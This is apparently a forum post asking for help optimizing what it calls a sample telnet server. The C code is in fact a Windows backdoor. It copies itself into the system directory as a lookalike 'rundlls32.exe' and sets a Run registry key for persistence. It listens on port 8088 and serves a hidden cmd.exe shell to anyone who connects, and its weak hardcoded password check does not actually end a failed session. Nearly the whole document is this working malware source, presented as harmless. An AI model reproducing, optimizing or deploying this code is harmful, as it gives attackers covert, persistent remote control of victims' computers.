who is interest to optimize the follow code?
It's a sample telnet-server programm, intact,but run with low efficiency.

#include "stdafx.h"
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include "stdlib.h"
#pragma comment(lib,"ws2_32.lib")

#define password "x"
BOOL reg(char *szExecFile);

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
GetModuleFileName(NULL,__argv[0],MAX_PATH);
char szNewPlace[MAX_PATH];
GetSystemDirectory(szNewPlace,MAX_PATH);

strcat(szNewPlace,"\\rundlls32.exe");
if( strcmp(__argv[0],szNewPlace) != 0 )
{CopyFile(__argv[0],szNewPlace,FALSE);}
if(!reg(szNewPlace))
{return 0;}

WSADATA wsaData;
char buff[4096];
int retval;
if ((retval = WSAStartup(MAKEWORD(2,2), &wsaData)) != 0)
{
printf("WSAStartup failed: %d\n",retval);
return -1;
}
int port=8088;
int bindServer,getClient;
struct sockaddr_in addrServer,addrClient;
char *MSG="\n\r Welcome ,Hack";
char *getpass="\r\n You Password:";
char *passok="\r\n ok!";
char *error="\r\n Error Password:";
bindServer=socket(AF_INET,SOCK_STREAM,0);
addrServer.sin_family=AF_INET;
addrServer.sin_port=htons(port);
addrServer.sin_addr.s_addr=ADDR_ANY;
int TimeOut=50000;
setsockopt(bindServer,SOL_SOCKET,SO_RCVTIMEO,(char*)&TimeOut,sizeof(TimeOut));
UINT bReUser=1;
setsockopt(bindServer,SOL_SOCKET,SO_REUSEADDR,(char*)&bReUser,sizeof(bReUser));
bind(bindServer,(struct sockaddr*)&addrServer,sizeof(addrServer));
listen(bindServer,5);
//printf("Bind Server is OK\n%d",port);

int iLen=sizeof(addrClient);
getClient=accept(bindServer,(struct sockaddr*)&addrClient,&iLen);
if (getClient != INVALID_SOCKET)
{
int iTimeOut=50000;
setsockopt(getClient,SOL_SOCKET,SO_RCVTIMEO,(char*)&iTimeOut,sizeof(iTimeOut));
}
else return -1;


send(getClient,MSG,strlen(MSG),0);
send(getClient,getpass,strlen(getpass),0);
recv(getClient,buff,1024,0);
if(!(strstr(buff,password)))
{
send(getClient, error, strlen(error), 0);
printf("\r\n PassWord ERROR!");
closesocket(getClient);
}
send(getClient, passok, strlen(passok), 0);
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
unsigned long lBytesRead;
SECURITY_ATTRIBUTES sa;
sa.nLength=0x0c;
sa.lpSecurityDescriptor=NULL;
sa.bInheritHandle=TRUE;
CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO siinfo;
char cmdLine[256];
GetSystemDirectory(cmdLine,MAX_PATH+1);
strcat(cmdLine,"\\cmd.exe");
ZeroMemory(&siinfo,sizeof(siinfo));
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_HIDE;
siinfo.hStdInput = hReadPipe2;
siinfo.hStdOutput = siinfo.hStdError = hWritePipe1;

PROCESS_INFORMATION ProcessInformation;
int bread = CreateProcess(cmdLine,NULL,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
while(1)
{
int ret = PeekNamedPipe(hReadPipe1,buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
ret = ReadFile(hReadPipe1,buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret = send(getClient,buff,lBytesRead,0);
if(ret <= 0) break;
}
else
{

lBytesRead = recv(getClient,buff,1024,0);
if((signed int)lBytesRead <= 0) break;
ret = WriteFile(hWritePipe2,buff,lBytesRead,&lBytesRead,0);
}
}

closesocket(getClient);
closesocket(bindServer);


return 0;


}

BOOL reg(char *szExecFile)
{
HKEY hKEY;
LPCTSTR data_Set="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\";
long ret0=(::RegOpenKeyEx(HKEY_LOCAL_MACHINE, data_Set, 0, KEY_ALL_ACCESS,&hKEY));
if(ret0!=ERROR_SUCCESS) {return(false);}
LPBYTE username_Get=(unsigned char*)malloc(sizeof(BYTE)*80);
DWORD cbData_1=80;
DWORD dwType;
long ret1=::RegQueryValueEx(hKEY,"Dll_Hostm", 0,&dwType, username_Get,&cbData_1);
if(ret1!=ERROR_SUCCESS)
{
DWORD setsize;
setsize=strlen(szExecFile)+1;
dwType=REG_SZ;
long ret9=::RegSetValueEx(hKEY,"RunDll32s", 0, dwType, (const unsigned char*) szExecFile, setsize);
if(ret9!=ERROR_SUCCESS) {return(false);}
}
free(username_Get);
::RegCloseKey(hKEY);
return(true);

}